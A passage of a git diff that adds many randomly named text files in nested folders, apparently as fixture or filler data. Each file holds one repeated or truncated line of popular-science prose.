+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_qkusyumcpu.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_vwlsluskkwasmnnjqmglzf.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_vwlsluskkwasmnnjqmglzf.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_vwlsluskkwasmnnjqmglzf.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_vxpfwwztnrhhuhddmgrpktpg.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_vxpfwwztnrhhuhddmgrpktpg.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_vxpfwwztnrhhuhddmgrpktpg.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_wzvumictf.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_wzvumictf.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_wzvumictf.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_xvufrobt.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_xvufrobt.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_xvufrobt.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_yiqnocmsjeomlfk.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_yiqnocmsjeomlfk.txt
new file mode 100644
index 0000000..77b4461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/file_yiqnocmsjeomlfk.txt
@@ -0,0 +1 @@
+The Earth is now thoroughly explored. It no longer promises new continents or lost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/bxiobepegqzsbrjpglsb.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/bxiobepegqzsbrjpglsb.txt
new file mode 100644
index 0000000..90f985b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/bxiobepegqzsbrjpglsb.txt
@@ -0,0 +1 @@
+Later when it was possible to construct a tunnel under the river, it too was built in the same
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/enpvnzzlrxwiwjjjd.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/enpvnzzlrxwiwjjjd.txt
new file mode 100644
index 0000000..6c0a4b6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/enpvnzzlrxwiwjjjd.txt
@@ -0,0 +1 @@
+Greeks with the invention of the key, the ruler, the carpenter’s square, the level, the lathe,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_azqqjjzceeobwwpnwpwqqgh.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_azqqjjzceeobwwpnwpwqqgh.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_azqqjjzceeobwwpnwpwqqgh.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_bebaymuvmrt.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_bebaymuvmrt.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_bebaymuvmrt.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_bppxbsmurfdqtjjzzjogzena.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_bppxbsmurfdqtjjzzjogzena.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_bppxbsmurfdqtjjzzjogzena.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cbsemfyyfxqfcfloishb.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cbsemfyyfxqfcfloishb.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cbsemfyyfxqfcfloishb.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cjlkzrjan.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cjlkzrjan.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cjlkzrjan.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cotoqeqfmbedebgszamnpo.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cotoqeqfmbedebgszamnpo.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cotoqeqfmbedebgszamnpo.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cyawefqzynya.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cyawefqzynya.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_cyawefqzynya.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_dqpaanpk.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_dqpaanpk.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_dqpaanpk.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_emihczvzhvj.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_emihczvzhvj.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_emihczvzhvj.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_evcqevzwtbdvidwchw.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_evcqevzwtbdvidwchw.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_evcqevzwtbdvidwchw.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_hrqwbbsuyz.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_hrqwbbsuyz.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_hrqwbbsuyz.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_npoputnsqb.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_npoputnsqb.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_npoputnsqb.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_qvhfmqmo.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_qvhfmqmo.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_qvhfmqmo.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_sfrbkmhtzhcef.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_sfrbkmhtzhcef.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_sfrbkmhtzhcef.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_slrbgvcvnvmfwwlxf.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_slrbgvcvnvmfwwlxf.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_slrbgvcvnvmfwwlxf.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_tcfynact.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_tcfynact.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_tcfynact.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_tefcajxyrkytqcl.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_tefcajxyrkytqcl.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_tefcajxyrkytqcl.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_vxnhavsxznp.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_vxnhavsxznp.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_vxnhavsxznp.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_wwahbfxxeyyfqbczozmwwkv.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_wwahbfxxeyyfqbczozmwwkv.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_wwahbfxxeyyfqbczozmwwkv.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_wxloxnxf.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_wxloxnxf.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_wxloxnxf.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_xwnmkzltnjiovosebs.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_xwnmkzltnjiovosebs.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_xwnmkzltnjiovosebs.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_ynuhmwgqbxekykplka.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_ynuhmwgqbxekykplka.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_ynuhmwgqbxekykplka.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_zxtfynuecnevxd.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_zxtfynuecnevxd.txt
new file mode 100644
index 0000000..ab1a126
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/file_zxtfynuecnevxd.txt
@@ -0,0 +1 @@
+The language of the brain is not the DNA language of the genes. Rather, what we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/ixodhcees.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/ixodhcees.txt
new file mode 100644
index 0000000..bb35b92
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/ixodhcees.txt
@@ -0,0 +1 @@
+* The object itself might be any color, even blue. The red shift means only that each spectral line
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/jyohwjdpzpnt.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/jyohwjdpzpnt.txt
new file mode 100644
index 0000000..344124a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/jyohwjdpzpnt.txt
@@ -0,0 +1 @@
+negligible: a succession of simple numerical patterns coded into beeps.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/krdcdebekcefitstpt.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/krdcdebekcefitstpt.txt
new file mode 100644
index 0000000..14b0d7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/krdcdebekcefitstpt.txt
@@ -0,0 +1 @@
+karat diamond was imported and milled into the desired window. However, the contractor was required to pay
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/luqunpformleaymwkjg.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/luqunpformleaymwkjg.txt
new file mode 100644
index 0000000..722e9c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/luqunpformleaymwkjg.txt
@@ -0,0 +1 @@
+Count of La Pérouse, a noted explorer who had fought for the United States in its War of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/thwxixheislrsrfcakhwcnr.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/thwxixheislrsrfcakhwcnr.txt
new file mode 100644
index 0000000..ed75cb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/thwxixheislrsrfcakhwcnr.txt
@@ -0,0 +1 @@
+hauled to the top of the mountain, a job for mule teams. A young mule skinner named
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/unjrncinlgat.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/unjrncinlgat.txt
new file mode 100644
index 0000000..f2f90a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/unjrncinlgat.txt
@@ -0,0 +1 @@
+hydrogen - a physical state that has never been observed in terrestrial laboratories, because
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/utxrmzapvupko.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/utxrmzapvupko.txt
new file mode 100644
index 0000000..01a19fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/utxrmzapvupko.txt
@@ -0,0 +1 @@
+in the universe. But has it happened in fact? The critical issue is the quality of the purported
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/uuuvfvybsesqmlcrmx.txt b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/uuuvfvybsesqmlcrmx.txt
new file mode 100644
index 0000000..8602fda
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vpveoiyibn/folder_krcnaajgnm/folder_kzcwpfbvmp/folder_xxwnpbbygq/uuuvfvybsesqmlcrmx.txt
@@ -0,0 +1 @@
+United Provinces of the Netherlands, to the Grand Tartar, Cham, Emperor of China.’ The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/file_asfdnpqextkjglxyvmac.txt b/big_zip/big-zip-files/folder_vutirmgutz/file_asfdnpqextkjglxyvmac.txt
new file mode 100644
index 0000000..10422ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/file_asfdnpqextkjglxyvmac.txt
@@ -0,0 +1 @@
+chapter in a book than for the procrustean fifty-eight minutes, thirty seconds of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/file_bcqyndczbutelizbx.txt b/big_zip/big-zip-files/folder_vutirmgutz/file_bcqyndczbutelizbx.txt
new file mode 100644
index 0000000..10422ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/file_bcqyndczbutelizbx.txt
@@ -0,0 +1 @@
+chapter in a book than for the procrustean fifty-eight minutes, thirty seconds of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/file_bfsqiuwaxbxlyhsanetgmy.txt b/big_zip/big-zip-files/folder_vutirmgutz/file_bfsqiuwaxbxlyhsanetgmy.txt
new file mode 100644
index 0000000..10422ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/file_bfsqiuwaxbxlyhsanetgmy.txt
@@ -0,0 +1 @@
+chapter in a book than for the procrustean fifty-eight minutes, thirty seconds of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/file_cjgtvmuegsrhxljsalftcgn.txt b/big_zip/big-zip-files/folder_vutirmgutz/file_cjgtvmuegsrhxljsalftcgn.txt
new file mode 100644
index 0000000..10422ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/file_cjgtvmuegsrhxljsalftcgn.txt
@@ -0,0 +1 @@
+chapter in a book than for the procrustean fifty-eight minutes, thirty seconds of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/file_gicxmixzrwnehhvmp.txt b/big_zip/big-zip-files/folder_vutirmgutz/file_gicxmixzrwnehhvmp.txt
new file mode 100644
index 0000000..10422ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/file_gicxmixzrwnehhvmp.txt
@@ -0,0 +1 @@
+chapter in a book than for the procrustean fifty-eight minutes, thirty seconds of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/file_hitgkmbtwzevybifmrkk.txt b/big_zip/big-zip-files/folder_vutirmgutz/file_hitgkmbtwzevybifmrkk.txt
new file mode 100644
index 0000000..10422ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/file_hitgkmbtwzevybifmrkk.txt
@@ -0,0 +1 @@
+chapter in a book than for the procrustean fifty-eight minutes, thirty seconds of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/file_repbwvbazperpwzlwwsnhhf.txt b/big_zip/big-zip-files/folder_vutirmgutz/file_repbwvbazperpwzlwwsnhhf.txt
new file mode 100644
index 0000000..10422ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/file_repbwvbazperpwzlwwsnhhf.txt
@@ -0,0 +1 @@
+chapter in a book than for the procrustean fifty-eight minutes, thirty seconds of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/file_ucwavphyuvzgdcftka.txt b/big_zip/big-zip-files/folder_vutirmgutz/file_ucwavphyuvzgdcftka.txt
new file mode 100644
index 0000000..10422ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/file_ucwavphyuvzgdcftka.txt
@@ -0,0 +1 @@
+chapter in a book than for the procrustean fifty-eight minutes, thirty seconds of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/file_wpcpgsrszzdwcaihrjgbr.txt b/big_zip/big-zip-files/folder_vutirmgutz/file_wpcpgsrszzdwcaihrjgbr.txt
new file mode 100644
index 0000000..10422ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/file_wpcpgsrszzdwcaihrjgbr.txt
@@ -0,0 +1 @@
+chapter in a book than for the procrustean fifty-eight minutes, thirty seconds of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/file_xbmjjliysxjxfi.txt b/big_zip/big-zip-files/folder_vutirmgutz/file_xbmjjliysxjxfi.txt
new file mode 100644
index 0000000..10422ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/file_xbmjjliysxjxfi.txt
@@ -0,0 +1 @@
+chapter in a book than for the procrustean fifty-eight minutes, thirty seconds of a
\ No newline at end of file
